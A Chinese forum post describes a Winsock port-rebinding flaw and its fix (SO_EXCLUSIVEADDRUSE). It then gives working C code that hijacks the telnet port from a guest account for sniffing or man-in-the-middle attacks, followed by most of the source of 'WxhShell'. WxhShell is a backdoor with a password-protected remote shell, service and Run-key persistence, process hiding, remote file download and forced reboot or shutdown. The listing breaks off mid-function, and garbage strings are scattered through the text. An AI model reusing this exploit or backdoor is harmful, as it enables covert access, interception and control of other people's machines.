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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: fT;s-v[`k  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); YN/|$sMD|  
T. }1/S"m  
  saddr.sin_family = AF_INET; U>YAdrx2a  
nr95YSH  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); p)`{Sos  
{x|[p_?  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); X3{G:H0\p  
*w|:~g  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 /NLui@|R  
$mu^G t  
  这意味着什么?意味着可以进行如下的攻击: \K5DOM "#  
U_M$#i{_  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 J=\HO8E6>  
qyZ" %Kz  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) &q3"g*q  
O9G[j=U  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 )B T   
m}C>ti`VD  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  y`VyQWW  
3-[q4R  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 8NxM4$nQX  
y=fx%~<> 8  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 CnU*Jb  
XeW<B0~  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 A#K14Ayr  
I& 2c&yO  
  #include _> 5(iDW0  
  #include wrc,b{{[iM  
  #include y<?kzt  
  #include    oQLq&zRH`f  
  DWORD WINAPI ClientThread(LPVOID lpParam);   AS!?q  
  int main() xR-%L  
  { Q! o'}nA  
  WORD wVersionRequested; 9%k2'iV7  
  DWORD ret; wVX[)E\J  
  WSADATA wsaData; |WQBDB`W  
  BOOL val; GOj-)i/_  
  SOCKADDR_IN saddr;  '<jyw   
  SOCKADDR_IN scaddr; EOIN^4V"  
  int err; |v`AA?@{8  
  SOCKET s; fX(3H1$"  
  SOCKET sc; yg `j-9[8  
  int caddsize; <C_jF  
  HANDLE mt; o@r7 n>G  
  DWORD tid;   ?L5zC+c!  
  wVersionRequested = MAKEWORD( 2, 2 ); g$":D  
  err = WSAStartup( wVersionRequested, &wsaData ); J}*,HT*  
  if ( err != 0 ) { yd^ {tQi  
  printf("error!WSAStartup failed!\n"); 'OE&/ C [  
  return -1; c%^7!FSg  
  } zE336  
  saddr.sin_family = AF_INET; I.WvLLK2  
   -0d0t!  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 _mzW'~9wN  
}HL]yDO  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); jk"`Z<j~  
  saddr.sin_port = htons(23); {i1| R"ta  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) n#/_Nz  
  { $CxKuB(  
  printf("error!socket failed!\n"); P]<4R:yb  
  return -1; Eav[/cU  
  } !!qK=V|>  
  val = TRUE; :lX!\(E2  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 9V'%<pk''(  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) v&Ii^?CvO  
  { \(~y?l  
  printf("error!setsockopt failed!\n");  N O2XA\  
  return -1; ~{*7"o/  
  } O ~(pg  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; hMzs*gK  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 JHW "-b  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 jAGTD I  
+cWLjPD/}  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) BmBj7  
  { 7.-V-?i  
  ret=GetLastError(); x9NEFtqjm  
  printf("error!bind failed!\n"); R7]l{2V#^  
  return -1; u=Fv 2  
  } B6=ebM`q  
  listen(s,2); d]`CxI]  
  while(1) ?J' Y&  
  { |D'4uN8\  
  caddsize = sizeof(scaddr); -Bt k 3  
  //接受连接请求 ZjT,pOSyb  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); h,QKd>4:CF  
  if(sc!=INVALID_SOCKET) |o,YCzy|5  
  { z^KJ*E  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 909?_ v  
  if(mt==NULL) Gk967pC  
  { ::o lN  
  printf("Thread Creat Failed!\n"); E"\/ M  
  break; J`^ag'  
  } 5&xB6|k  
  } <DpevoF  
  CloseHandle(mt); d[r#-h> dS  
  } nvca."5y  
  closesocket(s); $r@ =*(  
  WSACleanup(); U!T~!C^  
  return 0; KjV:|  
  }   ~L]|?d"  
  DWORD WINAPI ClientThread(LPVOID lpParam) \ Fl+\?~D  
  { Z/Eb:  
  SOCKET ss = (SOCKET)lpParam; ko1J094Y%  
  SOCKET sc; so PLA68  
  unsigned char buf[4096]; + r!1<AAE$  
  SOCKADDR_IN saddr; "rTQG6`  
  long num; avjpA ?Vz  
  DWORD val; KuWWUjCE  
  DWORD ret; )@N2  
  //如果是隐藏端口应用的话,可以在此处加一些判断 'AzDP;6qFI  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   aHlcfh9|  
  saddr.sin_family = AF_INET; m_hN*v Py  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); "~`I::'c  
  saddr.sin_port = htons(23); a5 *2h{i  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) A2^\q>_#  
  { :iFIQpk  
  printf("error!socket failed!\n"); S2n39 3  
  return -1; `L:CA5sBud  
  } t'9*R7=  
  val = 100; El<]b7  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) cQG +$0(  
  { h H <J,Wn  
  ret = GetLastError(); ##KBifU"  
  return -1; .tkT<o-u<J  
  } ur*T%b9&  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) hbU+Usx  
  { u7bLZU 0  
  ret = GetLastError(); HN_d{ 3  
  return -1; ?in|qevL  
  } J~%K_~Li  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) j lp:lX  
  { U;bK!&Z  
  printf("error!socket connect failed!\n"); <Gav5R c  
  closesocket(sc); x8!ol2\`<  
  closesocket(ss); |nbf'  
  return -1; yvgrIdEP  
  } \Z^TXyu   
  while(1) t^`O{m<  
  { A; 5n:Sd  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 :1 (p.q=  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 @)-sTgn  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ,REJt  
  num = recv(ss,buf,4096,0); .P.z B}0=  
  if(num>0) !E,A7s  
  send(sc,buf,num,0); U`,0]"Qk  
  else if(num==0) j>]nK~[ka  
  break; 9m|kgY# 4  
  num = recv(sc,buf,4096,0); ;^ La"m  
  if(num>0) +zu(  
  send(ss,buf,num,0); o[v\|Q`d  
  else if(num==0) 3ia^\ jw  
  break; \ W?R  
  } }K1JU`Lz  
  closesocket(ss); on0]vEE  
  closesocket(sc); bKj%s@x  
  return 0 ; cZH-"  
  } |l&vkRrN  
jx.[#6e  
U7doU'V/  
========================================================== [vMvV4,  
YFE&r  
下边附上一个代码,,WXhSHELL w^Lta  
rEHkw '  
========================================================== AtU v71D:  
]Pry>N3G5  
#include "stdafx.h" YX=2jI  
#O$  
#include <stdio.h> $={:r/R`i  
#include <string.h> ?pYKZg /c  
#include <windows.h> JT "B>y>  
#include <winsock2.h> )x}l3\s  
#include <winsvc.h> j<2m,~k`V  
#include <urlmon.h> d)@<W1;  
b !%hH  
#pragma comment (lib, "Ws2_32.lib") $U$V?x uE  
#pragma comment (lib, "urlmon.lib") 5k6mmiaKk  
tp6M=MC%  
#define MAX_USER   100 // 最大客户端连接数 >w-;Z>3Q@  
#define BUF_SOCK   200 // sock buffer mNb ?*3\  
#define KEY_BUFF   255 // 输入 buffer TMs,j!w?I  
`(1K  
#define REBOOT     0   // 重启 }tH[[4tw,  
#define SHUTDOWN   1   // 关机 fV v.@HL{  
pl5P2&k  
#define DEF_PORT   5000 // 监听端口 masT>vM  
A a= u+  
#define REG_LEN     16   // 注册表键长度 1"pI^Ddt  
#define SVC_LEN     80   // NT服务名长度 e'*`.^  
a-"k/P#  
// 从dll定义API N[<H7_/3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); uKz,SqX  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /,MJq#@K  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #l4)HV  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  t^xTFn  
aM@z^<Ub  
// wxhshell配置信息 -29gL_dk.  
struct WSCFG { %'xb%`t  
  int ws_port;         // 监听端口 pG34Qw  
  char ws_passstr[REG_LEN]; // 口令 I=7Y]w=  
  int ws_autoins;       // 安装标记, 1=yes 0=no uGwJ K`!~  
  char ws_regname[REG_LEN]; // 注册表键名 (x"BR  
  char ws_svcname[REG_LEN]; // 服务名 n:0}utU4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 '8 fk+>M  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &-czStQ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ZT[3aXS  
int ws_downexe;       // 下载执行标记, 1=yes 0=no K]qM~v<A  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" UWZa|I~:J  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 s-Aw<Q)d  
op"$E1+  
}; 7R3fqU.Rq  
;>%~9j1C  
// default Wxhshell configuration mAeuw7Ni  
struct WSCFG wscfg={DEF_PORT, 6 4D]Ypx  
    "xuhuanlingzhe", TDg@Tg0  
    1, }m/RZP~=  
    "Wxhshell", o7TN,([W  
    "Wxhshell", p1D[YeF4  
            "WxhShell Service", 9D 0dg(  
    "Wrsky Windows CmdShell Service", ]&ixhW  
    "Please Input Your Password: ", V $|<  
  1, 4"@GNk~e  
  "http://www.wrsky.com/wxhshell.exe", [xfaj'j=@  
  "Wxhshell.exe" ZkP {[^6d\  
    }; q8Nn%o=5V  
ckjrk  
// 消息定义模块  \dl ph  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7 uMd ZpD  
char *msg_ws_prompt="\n\r? for help\n\r#>"; E RdL^T>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; RGIoI ]_  
char *msg_ws_ext="\n\rExit."; Z?NEO>h7  
char *msg_ws_end="\n\rQuit."; 1z*kc)=JF8  
char *msg_ws_boot="\n\rReboot..."; 16X@^j_   
char *msg_ws_poff="\n\rShutdown..."; >r)X:K+I  
char *msg_ws_down="\n\rSave to "; 3L _I[T$s  
'4OcZ/oI  
char *msg_ws_err="\n\rErr!"; ?X9]HlH  
char *msg_ws_ok="\n\rOK!"; T#!lPH :&h  
]~>K\i  
char ExeFile[MAX_PATH]; lFUWV)J\  
int nUser = 0; 0IT@V5Gdj  
HANDLE handles[MAX_USER]; F?u^"}%Fc  
int OsIsNt; VW@ x=m  
'R9g7,53R  
SERVICE_STATUS       serviceStatus; bm}6{28R  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?0<w  
J$9:jE-4  
// 函数声明 64j|}wJ$  
int Install(void); k$Rnj`*^  
int Uninstall(void); b-@\R\T  
int DownloadFile(char *sURL, SOCKET wsh); TNY4z(r  
int Boot(int flag); R4e&^tI@*  
void HideProc(void); MS<SAD>w  
int GetOsVer(void); ?Qqd "=k4  
int Wxhshell(SOCKET wsl); 0 nW F  
void TalkWithClient(void *cs); Vv*NFJ|  
int CmdShell(SOCKET sock); x`Fjf/1T*m  
int StartFromService(void); gJ3c;  
int StartWxhshell(LPSTR lpCmdLine); ?4z8)E9Ju  
6'OO-o  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); RbQ <m!A  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); WW "i  
C:\(~D *GS  
// 数据结构和表定义 8v y G*UK  
SERVICE_TABLE_ENTRY DispatchTable[] = $_j1kx$  
{ ~fzuwz  
{wscfg.ws_svcname, NTServiceMain}, |G=[5e^s[  
{NULL, NULL} AxCI 0  
}; 59B&2861  
lQ*eH10H  
// 自我安装 L>Jd7; =  
int Install(void) kJ=L2g>W<.  
{ |V`S >m%N  
  char svExeFile[MAX_PATH]; q42FP q  
  HKEY key; \gccQig1CJ  
  strcpy(svExeFile,ExeFile); `Y3(~~YGn  
xRDiRj  
// 如果是win9x系统,修改注册表设为自启动 kI*UkM-  
if(!OsIsNt) { . %(^mK)zQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P#G.lft"O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +T_ p8W+j  
  RegCloseKey(key); 'M'w,sID  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (;6s)z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <fM>Yi5  
  RegCloseKey(key); E`p'L!z  
  return 0; &v# `t~  
    } U6WG?$x  
  } ,5-Zb3\  
} Q5E:|)G  
else { aIGn9:\  
gOE_ ]  
// 如果是NT以上系统,安装为系统服务 QjukK6#W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); zS% m_,t  
if (schSCManager!=0) sQk|I x  
{ ^!>.97*   
  SC_HANDLE schService = CreateService kEK[\f VE  
  ( 3sC: jIp  
  schSCManager, !Q[}s #g  
  wscfg.ws_svcname, ^!@*P,'I  
  wscfg.ws_svcdisp, pv$tTWk  
  SERVICE_ALL_ACCESS, _:,.yRez  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {'(ej5,6  
  SERVICE_AUTO_START, >_#)3K1y8  
  SERVICE_ERROR_NORMAL, :QA@ c|(PF  
  svExeFile, (Nt[v;BnO  
  NULL, 7t4v~'h;5e  
  NULL, !V( `ZH  
  NULL, u[`v&e  
  NULL, lS{4dvr?w  
  NULL nL;K|W  
  ); 92(~'5Qr  
  if (schService!=0) T{ nQjYb?  
  { RdkU2Y}V  
  CloseServiceHandle(schService); pYGYy'%A'  
  CloseServiceHandle(schSCManager); _SF!T6A  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8dV=1O$ /  
  strcat(svExeFile,wscfg.ws_svcname); 1nXqi)&?;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }wkaQQh  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); AFtCqq#[  
  RegCloseKey(key); -y<x!61  
  return 0; 77_g}N  
    } 1HXlHic  
  } w&+\Wo;([b  
  CloseServiceHandle(schSCManager); x?>!UqgkY  
} KQW!\y?$"  
} ._K$0U!  
45r|1<Ro  
return 1; )ys=+Pz  
} =u[rOU{X"W  
ox JGJ  
// 自我卸载 t_Z _!Qy  
int Uninstall(void) ]g7HEB.Y  
{ >EeAPO4  
  HKEY key; hC|KH}aCR)  
lSs^A@s  
if(!OsIsNt) { j$%yw4dsj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dRM5urR6,  
  RegDeleteValue(key,wscfg.ws_regname); 1 O- E],  
  RegCloseKey(key); zdT->%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @?j@yRe  
  RegDeleteValue(key,wscfg.ws_regname); s.bT[0Vl  
  RegCloseKey(key); kYmo7  
  return 0; Bd.Z+#%l"  
  } j& <tdORT  
} U"/yB8!W  
} {4o\S  
else { &l?N:(r  
3[,wMy"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ''%;EW>  
if (schSCManager!=0) IMw "eV  
{ @OBHAoz%/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @yCW8]  
  if (schService!=0) .wM:YX'[G  
  { pqkcf \  
  if(DeleteService(schService)!=0) { Q*,6X*W!~  
  CloseServiceHandle(schService); X9DM ^tt  
  CloseServiceHandle(schSCManager); \}U[}5Pk&  
  return 0; J& n ^y  
  } 'MSEki67  
  CloseServiceHandle(schService); >~.Zr3P6kC  
  } Kp$_0  
  CloseServiceHandle(schSCManager); >a?OXqYP  
} QQ5lW  
} 9"[!EKW  
FLi(#9  
return 1; }g%KvYB_  
} C+X)">/+L  
)RpqZe/h4  
// 从指定url下载文件 z"G`o"4 V  
int DownloadFile(char *sURL, SOCKET wsh) Fl8w7LcF7  
{ Q x9>,e6+  
  HRESULT hr; N8Rm})  
char seps[]= "/"; |LXrGyk^  
char *token; oV%( 37W9=  
char *file; D{Hh#x8Y  
char myURL[MAX_PATH]; g,A.Y,})  
char myFILE[MAX_PATH]; >cGh|_9  
TBoM{s=.  
strcpy(myURL,sURL); _)HD4,`  
  token=strtok(myURL,seps); V%X:1 8j  
  while(token!=NULL) T#MA#H2  
  { H1aV}KD  
    file=token; NqQM! B]  
  token=strtok(NULL,seps); S3j]{pZ(z  
  } &:!ZT=  
xI/{)I1f  
GetCurrentDirectory(MAX_PATH,myFILE); GnSgO-$"  
strcat(myFILE, "\\"); *F26}q  
strcat(myFILE, file); 5Z4(J?n  
  send(wsh,myFILE,strlen(myFILE),0); H<rnJ  
send(wsh,"...",3,0); I_"Hgx<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); rW=k%# p  
  if(hr==S_OK) QN{}R;s  
return 0; @%I_&!d  
else *G2)@0 {  
return 1; reqfgNg  
N$=(1`zM=  
} mkj;PYa  
I]uOMWZs  
// 系统电源模块 78^UgO/  
int Boot(int flag) Zq\RNZ}  
{ imJ[:E  
  HANDLE hToken; :{TmR3.  
  TOKEN_PRIVILEGES tkp; =|qt!gY)Y  
'%n<MTL  
  if(OsIsNt) { Tc'{i#%9j  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); o+"0.B  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~RZJ/%6F  
    tkp.PrivilegeCount = 1; yL.PGF1(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !i~x"1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Q+u#?['  
if(flag==REBOOT) { )JY_eG&2Dx  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Oet#wp/I  
  return 0; dIBKE0`  
} Th& Wq  
else { (.@p4q Q-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9QX ~a X  
  return 0; aUIc=Z  
} iSZctsqE  
  } Y?&DEKFbD  
  else { T~wZ  
if(flag==REBOOT) { P- `~]]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3j=%De  
  return 0; z 1#0  
} M0Kh>u  
else { !UgUXN*  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) H.l,%x&K  
  return 0; 5E\<r /FeJ  
} R+kZLOE  
} }`<>$2b  
ulPrb>i  
return 1; lEYT{  
} @F3-Ugm  
mSk :7ozZ  
// win9x进程隐藏模块 "`W1yk5x  
void HideProc(void) Y#SmZ*zok  
{ 3w<j:\i  
pw<q?q%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _;J9q}X  
  if ( hKernel != NULL ) OnPy8mC  
  { @7HOL-i  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); CSX$Pk*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); PgG |7='  
    FreeLibrary(hKernel); "$V8y  
  } s68_o[[E  
PkCeV]`w  
return; <zDw& s2  
} yd2qf  
@DQ"vFj6<  
// 获取操作系统版本 #Z=)=  
int GetOsVer(void) R !%m5Q?5  
{ ?_Dnfa_  
  OSVERSIONINFO winfo; M9 2~iM  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); t zW<&^  
  GetVersionEx(&winfo); ad$Qs3)6o  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5KH'|z  
  return 1; J_wz'eIb0  
  else +}-W.H%`0  
  return 0; DCt:EhC  
} 6:EH5IO  
hPeKQwzC0  
// 客户端句柄模块 6P*)rye  
int Wxhshell(SOCKET wsl) j3[OY  
{ >KClH'R2  
  SOCKET wsh; nog\,NT  
  struct sockaddr_in client; ma-Y'  
  DWORD myID; zs&`:  
5G ]#yb74  
  while(nUser<MAX_USER) ~"r wP=<}  
{ K!: ,l  
  int nSize=sizeof(client); sBXk$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -L'K  
  if(wsh==INVALID_SOCKET) return 1; / ?[gB:s  
"xc*A&Sg  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); WJSHLy<a  
if(handles[nUser]==0) e$^!~+J7  
  closesocket(wsh); wY ;8UN  
else PKM$*_LcGI  
  nUser++; ^57fHlw  
  } OO wA{]gK  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); D_ZBx+/_?  
-0r "#48(%  
  return 0; Dw ;vDK  
} KZ}4<{3  
zT-"kK  
// 关闭 socket 3Q~&xNf  
void CloseIt(SOCKET wsh) , sJfMY  
{ n`KXJ?t  
closesocket(wsh);  ~M^7qO  
nUser--; ,M h/3DPgE  
ExitThread(0); v8k ^=A:  
} ^oB1 &G  
8'xnhV  
// 客户端请求句柄 PZhZK VZx  
void TalkWithClient(void *cs) fh)`kZDk  
{ :=7'1H  
h8-tbHgpb  
  SOCKET wsh=(SOCKET)cs; I2lZ>3X{  
  char pwd[SVC_LEN]; f -nC+   
  char cmd[KEY_BUFF]; wXZY5-h4  
char chr[1]; ?~Ed n-" Y  
int i,j; ,L:)ZZgN  
0S7Isk2W  
  while (nUser < MAX_USER) { ,h`D(,?X  
.F3LA6se  
if(wscfg.ws_passstr) { 2,Dc]oj  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5a_!&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); : RO:k|g  
  //ZeroMemory(pwd,KEY_BUFF); BrcXn@tl  
      i=0; S^VV^O5 ^  
  while(i<SVC_LEN) { [=1?CD  
wEc5{ b5M  
  // 设置超时 ye7&y4v+  
  fd_set FdRead; n4&j<zAV{  
  struct timeval TimeOut; RWQW/Gw x  
  FD_ZERO(&FdRead); vm^# aoDB  
  FD_SET(wsh,&FdRead); wXGFq3`  
  TimeOut.tv_sec=8; "wC5hj]  
  TimeOut.tv_usec=0; CPeK0(7Zh  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); fDHISJv  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +i!M[  
ujqktrhuLb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |+~2sbM  
  pwd=chr[0]; 6i9I 4*'  
  if(chr[0]==0xd || chr[0]==0xa) { 3A}8?  
  pwd=0; T2;  9  
  break; 6b01xu(A[  
  } 3 v$4LY  
  i++; 2`U&,,-Mf  
    } #p`7gFl  
M%^laf  
  // 如果是非法用户,关闭 socket 8J1.(Mwb?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~(]DNXB8I`  
} }jgAV  
j5^b~F%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !`=?<Fl  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g|_*(=Q  
Cjk AQ(9  
while(1) { [E7@W[xr  
2`m_"y  
  ZeroMemory(cmd,KEY_BUFF); o9\m? ~g!E  
B[X6A Qj}d  
      // 自动支持客户端 telnet标准   HbDB?s<  
  j=0; 8E%*o  
  while(j<KEY_BUFF) { 6Ymk8.PF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GTNTx5H  
  cmd[j]=chr[0]; }rZ=j6Z  
  if(chr[0]==0xa || chr[0]==0xd) { bM3e7olWS  
  cmd[j]=0; ra2q. H  
  break; D9C; JD  
  } (Z +C  
  j++; m/nn}+*C  
    } Ec 7M'~1  
n_meJm.  
  // 下载文件 }>U03aa!  
  if(strstr(cmd,"http://")) {  N&.p\T&t  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); H4Ek,m|c  
  if(DownloadFile(cmd,wsh)) x=N;>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )~(_[='  
  else cfS]C_6d  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CNYchE,}  
  } z\ pT+9&  
  else { Lr:K0A.Ch  
@CDRbXoFk  
    switch(cmd[0]) { 6^Vf 5W{  
  3)\qt s5  
  // 帮助 \_bX2Lg  
  case '?': { )wd~639U  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); r |/9Dn%  
    break; 0fU>L^P_?  
  } MsQS{ok+  
  // 安装 5GkM7Zu!{j  
  case 'i': { p<34}iZ  
    if(Install()) xpwzzO*U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qpq0j^\  
    else xE_[ = 7=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q-5wI$=  
    break; 1| DI'e[X  
    } E@KK\m \e  
  // 卸载 {o`5&EoM  
  case 'r': { "(qO}&b>  
    if(Uninstall()) 17d$gZ1O:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t:7jlD!d  
    else e>.xXg6Zn  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); * =l9gv&  
    break; M(f'qFY=K  
    } Y~!@  
  // 显示 wxhshell 所在路径 n3\vq3^?  
  case 'p': { yK^k*)2N  
    char svExeFile[MAX_PATH]; ,P+&-}gn9  
    strcpy(svExeFile,"\n\r"); 04t_  
      strcat(svExeFile,ExeFile); ZxW V ,s&p  
        send(wsh,svExeFile,strlen(svExeFile),0); 7Wu2gky3  
    break; NYeg,{q  
    } ~@;7}Aag  
  // 重启 Z# 04 ]  
  case 'b': { N}= - +E|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]\U'_G2]  
    if(Boot(REBOOT)) m/AN*` V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CiSG=obw  
    else { edQ><lz  
    closesocket(wsh); P.Bk-#}$  
    ExitThread(0); ->(B: Cz  
    } 79DC]48M  
    break; j>iM(8`t1  
    } ghl9gFFj  
  // 关机 y8@!2O4  
  case 'd': { B|&<  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  ^8iy(  
    if(Boot(SHUTDOWN)) jI%yi-<;  
